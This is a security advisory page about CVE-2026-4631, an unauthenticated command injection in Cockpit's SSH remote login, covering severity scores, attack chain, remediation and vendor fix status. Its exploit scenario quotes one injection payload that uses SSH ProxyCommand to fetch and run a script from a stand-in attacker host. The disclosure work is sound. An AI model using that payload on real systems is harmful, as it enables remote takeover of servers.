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Red Hat EUVD-2026-19814

| CVE-2026-4631 CRITICAL
OS Command Injection (CWE-78)
2026-04-07 redhat
9.8
CVSS 3.1 · NVD
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Severity by source

NVD PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE
CRITICAL
qualitative
Red Hat
9.8 CRITICAL
qualitative

Primary rating from NVD.

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
EUVD ID Assigned
Apr 07, 2026 - 17:00 euvd
EUVD-2026-19814
Analysis Generated
Apr 07, 2026 - 17:00 vuln.today
CVE Published
Apr 07, 2026 - 16:30 nvd
CRITICAL 9.8

DescriptionCVE.org

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.

AnalysisAI

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the host system by injecting malicious SSH options through the login endpoint. Affecting Red Hat Enterprise Linux versions 7 through 10, this critical pre-authentication vulnerability (CVSS 9.8) requires no credentials and executes code before any authentication checks occur. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Send crafted HTTP request to login endpoint
Exploit
Inject malicious SSH options into hostname parameter
Execution
SSH client executes injected commands
Impact
Achieve code execution on Cockpit host

Vulnerability AssessmentAI

Exploitation Remote unauthenticated attacker with network access to Cockpit web service. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability represents critical real-world risk based on convergent threat signals. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker identifies an internet-facing Red Hat Enterprise Linux server running Cockpit on the default port 9090 through network scanning. Without any valid credentials, the attacker crafts an HTTP POST request to the Cockpit login endpoint, supplying a malicious hostname parameter containing SSH ProxyCommand injection such as '-oProxyCommand=curl http://attacker.com/payload.sh|bash' or embedding shell metacharacters in the username field to break out of the SSH command context. …
Remediation Organizations should immediately consult Red Hat's official security advisory at https://access.redhat.com/security/cve/CVE-2026-4631 for patched package versions and apply vendor-supplied updates through standard RHEL package management (yum/dnf update cockpit). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all Cockpit deployments across RHEL 7-10 systems and immediately restrict network access to Cockpit web interface (default port 9090) to trusted networks only via firewall rules or network segmentation; disable Cockpit service on internet-facing systems if operationally feasible. …

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Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Liberty Linux 10 Fixed
SUSE Liberty Linux 9 Fixed
SUSE Linux Micro 6.2 Fixed
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Server 16.0 Affected

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EUVD-2026-19814 vulnerability details – vuln.today

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